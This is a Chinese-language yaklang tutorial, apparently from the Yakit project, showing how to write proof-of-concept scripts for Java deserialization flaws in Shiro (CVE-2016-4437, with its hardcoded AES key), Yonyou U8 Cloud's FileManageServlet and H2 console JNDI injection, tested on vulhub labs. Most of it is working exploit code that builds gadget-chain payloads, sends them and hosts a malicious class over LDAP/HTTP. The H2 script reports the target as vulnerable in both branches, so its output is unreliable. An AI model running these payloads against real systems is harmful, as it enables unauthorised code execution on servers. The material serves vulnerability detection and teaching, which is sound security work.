近期收到一些反馈,部分刚入门yaklang的师傅还比较迷茫。本篇将面向yaklang入门给大家介绍:如何使用yaklang针对Java类型漏洞编写POC。
一些案例与实践
下面是一些案例,靶场用的vulhub,有兴趣的师傅们可以手动复现下。
Shiro漏洞
原理
由于shiro使用cookie的RemberMe字段传输序列化的java对象,虽然有加密措施,但在最原始的版本加密的key硬编码在源码中。只要使用正确的key构造恶意的序列化java对象就可以实现RCE。
实践
镜像:CVE-2016-4437
站点首页
先使用shiro插件扫描下key
可以看到key和利用链
打开Yso-Java Hack模块,选择CB192NoCC链和DNSLog恶意类,点击生成。在右侧源码部分可以看到自动生成的 "用于生成payload的yak代码",注释部分包含了对shiro payload加密的代码,右上角直接发送到Yak Runner。
对代码稍加修改就得到了POC:
target = cli.String("u")
log.info("检测目标: %s ", target)
domain,token = risk.NewDNSLogDomain()~
className = randstr(4)
log.setLevel("info")
// 生成payload
gadgetObj,err = yso.GetCommonsBeanutils192NOCCJavaObject(yso.useDNSLogEvilClass(domain),yso.obfuscationClassConstantPool(),yso.evilClassName(className))
if err {
log.error("%v",err)
return
}
gadgetBytes,err = yso.ToBytes(gadgetObj)
if err {
log.error("%v",err)
return
}
// 加密payload
base64Key = "kPH+bIxk5D2deZiIxcaaaA==" // base64编码的key
key,_ = codec.DecodeBase64(base64Key) // 生成key
payload = codec.PKCS5Padding(gadgetBytes, 16) // 加密payload
encodePayload = codec.AESCBCEncrypt(key, payload, nil)[0]
finalPayload = codec.EncodeBase64(append(key, encodePayload...))
// 发送payload
rsp,err = http.Get(target, http.cookie("rememberMe=%s"%finalPayload))
if err != nil{
log.error("发送payload失败")
return
}
log.info("发送Payload成功")
// dnslog回显检测
res,err = risk.CheckDNSLogByToken(token)
if len(res) > 0{
log.info("目标 %s 存在Shiro RCE漏洞",target)
}else{
log.info("目标不存在RCE漏洞")
}
在命令行直接调用脚本检测
用友U8 Cloud
原理
用友的一些参数直接用序列化对象传递,导致了反序列化漏洞。
实践
网站首页,本次测试利用:/servlet/~uap/nc.impl.pub.filesystem.FileManageServlet路径反序列化漏洞,通过dnslog反连验证。
首先在yakit内置dnslog服务申请一个域名,再打开webfuzzer,使用yso:dnslog标签配合dnslog域名爆破可用链,如图,右侧可以看到payload为:CommonsCollections3 dnslog evil class xxx.dgrh3.cn,在yakit右上角的 "漏洞与风险" 收到了反连提醒,说明目标成功加载了class
下面开始编写payload,打开Yso-Java Hack页面,利用链选择cc3,恶意类选择DNSLog
在yakrunner里稍加修改
target = cli.String("u")
domain,token = risk.NewDNSLogDomain()~
className = randstr(8)
log.setLevel("info")
gadgetObj,err = yso.GetCommonsCollections3JavaObject(yso.useDNSLogEvilClass(domain),yso.obfuscationClassConstantPool(),yso.evilClassName(className))
if err {
log.error("%v",err)
return
}
gadgetBytes,err = yso.ToBytes(gadgetObj)
if err {
log.error("%v",err)
return
}
log.info("开始发送payload")
rsp = http.Post(target+"/servlet/~uap/nc.impl.pub.filesystem.FileManageServlet", http.body(gadgetBytes),http.proxy("http://127.0.0.1:8083"))~
res,err = risk.CheckDNSLogByToken(token, 3)
if len(res) != 0{
log.info("目标 %s 存在反序列化漏洞",target)
}else{
log.info("目标不存在反序列化漏洞")
}
H2 Database
原理
不正当的配置h2database导致攻击者可以访问h2-console页面,可以指定jdni url发起连接
实践
可以使用yakit的 "反连服务器" 实现jndi利用
先生成一个dnslog,再配置payload
打开/h2-console/test.do页面,配置Driver Class,和jdbc url,点击测试连接
在yakit中可以看到请求记录如图。
同样的可以在yak中编写代码启动 "反连服务器"
go fn{
className = randstr(8)
facades.Serve("0.0.0.0", 8089,
facades.ldapResourceAddr(className, "127.0.0.1:8089"), // 通过ldap://facades_server_address/class_name 访问会响应从"127.0.0.1:8089"读取class的结构
facades.httpResource(className, evalClassResource), // 通过http://facades_server_address/class_name 访问会响应 evalClassResource
)
}
使用Yso-Java Hack自动生成 "生成evalClassResource的代码",并补充发包部分代码,最后得到
target = cli.String("u")
domain,token = risk.NewDNSLogDomain()~
go fn{
className = randstr(8)
classObj,err = yso.GenerateDNSlogEvilClassObject(domain,yso.obfuscationClassConstantPool(),yso.evilClassName(className))
if err {
log.error("%v",err)
return
}
evalClassResource,err = yso.ToBytes(classObj)
if err {
log.error("%v",err)
return
}
facades.Serve("0.0.0.0", 8089,
facades.ldapResourceAddr(className, "127.0.0.1:8089"), // 通过ldap://facades_server_address/class_name 访问会响应 从"127.0.0.1:8089"读取class的结构
facades.httpResource(className, evalClassResource), // 通过http://facades_server_address/class_name 访问会响应 evalClassResource
)
}
poc.HTTP(`POST /h2-console/test.do?jsessionid=ab50d353801ba9bf68a94edfd66413b4 HTTP/1.1
Host: {{p(target)}
Content-Type: application/x-www-form-urlencoded
language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url={{p(addr)}}&user=sa&password=`, poc.params({
"target":target,
"addr":"127.0.0.1:8089",
}))
res,err = risk.CheckDNSLogByToken(token, 3)
if len(res) != 0{
log.info("目标 %s 存在反序列化漏洞",target)
}else{
log.info("目标 %s 存在反序列化漏洞",target)
// log.info("目标不存在反序列化漏洞")
}
小结
yaklang的java基础设施基本可以满足编写POC、EXP的需求,可以使用yakit的反连、Yso-Java Hack辅助脚本编写,可以提升效率。
END
YAK官方资源
Yak 语言官方教程:
https://yaklang.com/docs/intro/
Yakit 视频教程:
https://space.bilibili.com/437503777
Github下载地址:
https://github.com/yaklang/yakit
Yakit官网下载地址:
https://yaklang.com/
Yakit安装文档:
https://yaklang.com/products/download_and_install
Yakit使用文档:
https://yaklang.com/products/intro/
常见问题速查:
https://yaklang.com/products/FAQ